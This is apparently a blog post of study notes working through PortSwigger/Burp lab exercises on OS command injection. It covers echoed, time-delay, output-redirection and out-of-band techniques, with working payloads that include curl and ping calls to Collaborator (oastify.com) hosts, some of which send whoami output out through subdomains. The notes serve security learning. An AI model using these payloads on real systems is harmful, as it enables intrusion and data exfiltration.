burp靶场命令注入学习

Posted

1、简单的命令注入(有回显)

image-20260401204120904

发现该功能为检查商品库存功能,我们进行抓包分析该功能点

image-20260401204552052

我们看到它是通过参数productID和storeID来定位商品的,然后呢,后端是怎么执行查询功能的呢?

就是开发将查询功能做成了一个脚本

./stockreport.sh 1 1

从上面来看,我们再试想一下,如果这个应用程序并没有检查参数的值是否合规,就将其很简单的拼接到脚本的参数中,会不会发生类似Sql注入的情况呢,于是我们做出了这样的尝试,我们将参数productID的值替换成下面这个

& echo 123 &

然后我们看一下拼接以后是什么样子

./stockreport.sh & echo 123 & 1

我们拿到linux中本地尝试运行一下

image-20260401224212670

我们尝试添加一个&,在bash中,将命令串联起来,并且尝试运行whoami

image-20260401210112904

发现后端报错了,很有可能是我在此处运行了whoami命令,后端接受了其他变量,导致破坏了后端命令结构

这里我们可以添加#来注释后面其余的命令

image-20260401210509648

可以看到,成功获取到了服务器的用户名

image-20260401210752783

获取了源码发现后端在bash命令使用了eval执行操作系统命令,接收两个用户的输入,并且没有任何的过滤操作,从而造成了命令注入

那么这里试想后端直接执行这个脚本,接受两个参数,直接在bash里面运行该脚本

./stockreport.sh 1 2

我们可以在本地进行尝试

image-20260401211441564

我们也可以在第二个参数进行拼接

image-20260401211603219

image-20260401213729350

image-20260401212025268

image-20260401212053285

2、带有时间延迟的盲目操作系统命令注入

来到Submit feedback页面,这是一个给网站提交反馈的页面。因为要向起管理员提交用户反馈,因此很可能使用了mail命令发送邮件给管理员。使用该命令向管理员邮箱发送反馈用户的名字,邮箱以及反馈信息等。也正因为是往管理员发送邮件,因此可能网站本身不会有回显。

image-20260401212358638

image-20260401212459528

我们试想后端会执行这样的命令

mail -s "test" -aFrom:test@qq.com admin@admin.com

然后test@qq.com是我们用户可以控制的,那么这里这个email字段就会存在注入,如果我们插入一下payload

& ping -c www.baidu.com &

那么拼接在命令行中就会变成

mail -s "test" -aFrom:test@qq.com& whoami & admin@admin.com

image-20260401225319013

提交反馈,进行抓包

image-20260401212543011

我们现在不知道哪个字段存在命令注入,因此,我们可以通过sleep来判断

test & sleep 5 #

image-20260401213218738

发现并没有延迟5秒钟,这说明name字段并不存在命令注入

经过测试发现,该命令注入存在于email字段

& sleep 5 #

image-20260401213403814

这里还可以使用其他拼接符进行测试

;sleep 5;
||sleep 5||

image-20260401214111428

image-20260401214151865

3、带输出重定向的盲目操作系统命令注入

image-20260401214402111

该靶场存在一个可写的文件夹:/var/www/images

执行whoami命令,将其结果重定向输出到这个文件夹下面,然后检索其内容

来到提交反馈页面

正常填写数据,抓取数据包

image-20260401214824020

先正常测试,看看是否存在命令注入,在email字段插入payload

;sleep+5;
&sleep+5&

image-20260401215142636

image-20260401215742950

在email字段输入payload

;whoami>/var/www/images/user.txt;

将whoami的值写入到/var/www/images/user.txt文件中

image-20260401220058093

利用文件读取功能,读取user.txt的内容,成功得到用户名

image-20260401220038564

4、盲目操作系统命令注入与带外交互

image-20260401220341071

仍然是盲注,但是这次是异步执行命令,所以通过延时就无法感知命令注入是否成功了,这里通过发起 DNS 查询来感知命令注入的结果

一样的,来到反馈页面,填写数据抓包

在email字段探测命令注入是否存在

;sleep 5;
&sleep 5&

image-20260401221423851

发现这里使用sleep行不通了,那么只能使用dnslog了

;ping -c 4 w52pfr8ocjrvltgdk3c2gitqkhq8ey2n.oastify.com;

image-20260401221622125

image-20260401221648795

回到 Burp 中的 Collaborator,可以看到已经触发了 DNS 解析

并且我们使用curl命令也是可以的

;curl http://547ye07xbsq4k2fmjcbbfrszjqphd81x.oastify.com;

image-20260401221906992

image-20260401221925974

5、盲目操作系统命令注入与带外数据过滤

image-20260401222044335

这道题需要将whoami的数据通过dnslog携带出来

1.可以通过子域名的形式携带出数据

$(whoami).7lt0v2ozsu7614wo0esdwt910s6jubi0.oastify.com

在email字段插入payload

;ping+-c+4+$(whoami).7lt0v2ozsu7614wo0esdwt910s6jubi0.oastify.com;

image-20260401222756366

image-20260401222813275

成功将用户名携带出来

2.通过反引号形式携带数据,反引号在shell中会被当做命令执行

`whoami`.7lt0v2ozsu7614wo0esdwt910s6jubi0.oastify.com

image-20260401222929179

image-20260401222943865

并且使用curl命令也是可以的

curl http://`whoami`.7lt0v2ozsu7614wo0esdwt910s6jubi0.oastify.com

image-20260401223111999

image-20260401223125866